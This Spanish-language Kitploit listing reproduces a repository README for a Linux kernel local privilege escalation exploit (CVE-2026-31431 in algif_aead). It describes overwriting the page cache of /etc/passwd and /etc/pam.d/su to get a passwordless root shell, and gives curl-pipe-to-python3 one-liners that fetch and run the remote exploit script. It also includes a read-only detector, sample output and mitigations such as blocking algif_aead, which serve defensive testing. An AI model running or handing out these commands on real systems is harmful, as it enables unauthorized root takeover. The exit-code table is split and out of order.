Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31431 — Exploit de escalada de privilegios locales para CVE-2026-31431 en el algif_aead del kernel de Linux, que utiliza splice para sobrescribir la caché de páginas y obtener acceso root. Incluye un detector de solo lectura. | Kitploit
Herramientas/GitHubGitHub/mfloresdacunha/cve-2026-31431
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed Teaming
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

Exploit de escalada de privilegios locales para CVE-2026-31431 en el algif_aead del kernel de Linux, que utiliza splice para sobrescribir la caché de páginas y obtener acceso root. Incluye un detector de solo lectura.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 3 mesesAún no revisado

CVE-2026-31431 — Escalada de Privilegios Local "Copy Fail"

Resumen

CVE-2026-31431 es una vulnerabilidad de escalada de privilegios local en el subsistema algif_aead del kernel de Linux. La implementación AEAD authencesn realiza un descifrado in-place mediante splice(2), colocando una página de la caché de páginas en el scatterlist de destino. Un valor de 4 bytes del AAD (seqno_lo) se escribe de vuelta en esa página de la caché de páginas antes de que se verifique la etiqueta de autenticación, lo que permite a un usuario sin privilegios sobrescribir bytes arbitrarios de la caché de páginas del kernel de cualquier archivo legible por todos.

Vulnerable desde: kernel 4.14 (agosto de 2017) — cuando se introdujo authesn en algif_aead
Correcciones publicadas para: solo las líneas estables 6.12, 6.17 y 6.18
Sin parche permanente: kernels 4.14–6.11 (EOL; no se emitirá ningún backport)
Primitivas requeridas: socket AF_ALG, cifrado authencesn(hmac(sha256),cbc(aes)), splice(2) en un fd de socket AF_ALG
Impacto: escalada de privilegios local a root — totalmente automatizada, sin contraseña requerida

Cómo Funciona

El exploit aplica dos parches a la caché de páginas en secuencia y luego ejecuta su automáticamente:

  1. Parche de /etc/passwd — abre el archivo (legible por todos), llena su caché de páginas y luego usa la primitiva de splice de authencesn para cambiar el campo UID de 4 dígitos del usuario en ejecución a 0000. Después del parche, getpwnam() reporta al usuario como UID 0.

  2. Parche de /etc/pam.d/su — pam_rootok.so y pam_permit.so tienen ambos exactamente 13 caracteres. Dos escrituras de 4 bytes reemplazan pam_rootok.so por pam_permit.so en la caché de páginas de la configuración de PAM. Dado que pam_permit siempre devuelve PAM_SUCCESS, la línea existente auth sufficient se activa inmediatamente — no se muestra ningún prompt de contraseña.

No se producen escrituras en disco en ningún momento. Eliminar la caché de páginas (echo 3 > /proc/sys/vm/drop_caches) o reiniciar revierte completamente ambos parches.

Uso

Solo para pruebas autorizadas. Ejecute únicamente en hosts que le pertenezcan o para los que tenga un compromiso explícito de evaluación.

Una línea

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

Se devuelve un shell root automáticamente — sin necesidad de contraseña.

Manual

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

Limpieza (desde el shell root)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

Requisitos

  • Kernel de Linux 4.14–6.18; específicamente 4.14–6.11 sin parche (permanentemente) o 6.12/6.17/6.18 sin la corrección upstream aplicada
  • Soporte de sockets AF_ALG habilitado (estándar en la mayoría de las distribuciones)
  • authencesn(hmac(sha256),cbc(aes)) cargable (estándar en la mayoría de las distribuciones)
  • Python 3.6+
  • Un UID de 4 dígitos (1000–9999)

Detección

test_cve_2026_31431.py es un detector seguro y de solo lectura incluido en este repositorio. Ejercita la primitiva de splice de algif_aead contra un archivo centinela desechable que crea en un directorio temporal — nunca se toca ningún archivo del sistema. Imprime un veredicto y sale con un código bien definido:

Código de salidaSignificado
0No vulnerable — no se cumplió la condición previa o la caché de páginas no fue modificada

Ejecútelo:

root@kitploit:~
# Una línea (sin instalación requerida)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"

# O desde un clon local
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"

Ejemplo de salida en un kernel vulnerable:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

Ejemplo de salida en un kernel parcheado:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

Mitigación

  • Aplique el parche del kernel upstream.
  • Bloquee algif_aead mediante /etc/modprobe.d: install algif_aead /bin/false
  • Restrinja los sockets AF_ALG con seccomp o política LSM.

Referencias

  • Divulgación de Copy Fail
  • Corrección upstream: net/tls + crypto/algif_aead — aislamiento del scatterlist de destino in-place de authencesn
Descargar herramienta

Shell automático — el script ejecuta su <usuario>. PAM autentica sin contraseña (paso 2), luego setuid(0) tiene éxito porque getpwnam() reporta UID 0 (paso 1). Se devuelve un shell root sin interacción del usuario.

1Error de prueba (p. ej., AF_ALG no disponible, splice no soportado)
2VULNERABLE — los bytes marcadores llegaron a la página de caché de páginas con splice